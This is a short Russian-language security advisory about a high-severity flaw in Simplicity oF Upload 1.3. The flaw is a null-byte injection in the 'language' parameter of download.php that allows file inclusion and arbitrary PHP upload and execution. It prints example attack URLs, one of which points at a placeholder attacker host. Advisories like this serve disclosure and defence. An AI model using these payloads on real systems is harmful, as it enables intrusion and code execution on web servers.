Загрузка произвольных файлов в Simplicity oF Upload
Программа: Simplicity oF Upload 1.3
Опасность: Высокая
Наличие эксплоита: Да
Описание: Уязвимость позволяет удаленному пользователю загрузить и выполнить произвольный php сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре language. Злоумышленник может указать специально сформированное значение параметра с нулевым байтом (%00) в конце строки и выполнить произвольные локальные файлы на системе. Пример:http://[target]/simply/download.php?language=upload.php%00Затем злоумышленник может загрузить на систему произвольный файл и выполнить его с привилегиями web сервера.
Удаленный пользователь может с помощью специально сформированного URL перенаправить пользователя на целевую страницу. Пример:http://[target]/[path]/download.php?language=http://[attacker]/[evil_page]%00
URL производителя: phpsimplicity.com/scripts.php?id=3
Решение: Способов устранения уязвимости не существует в настоящее время.
Навигация по порталу: 
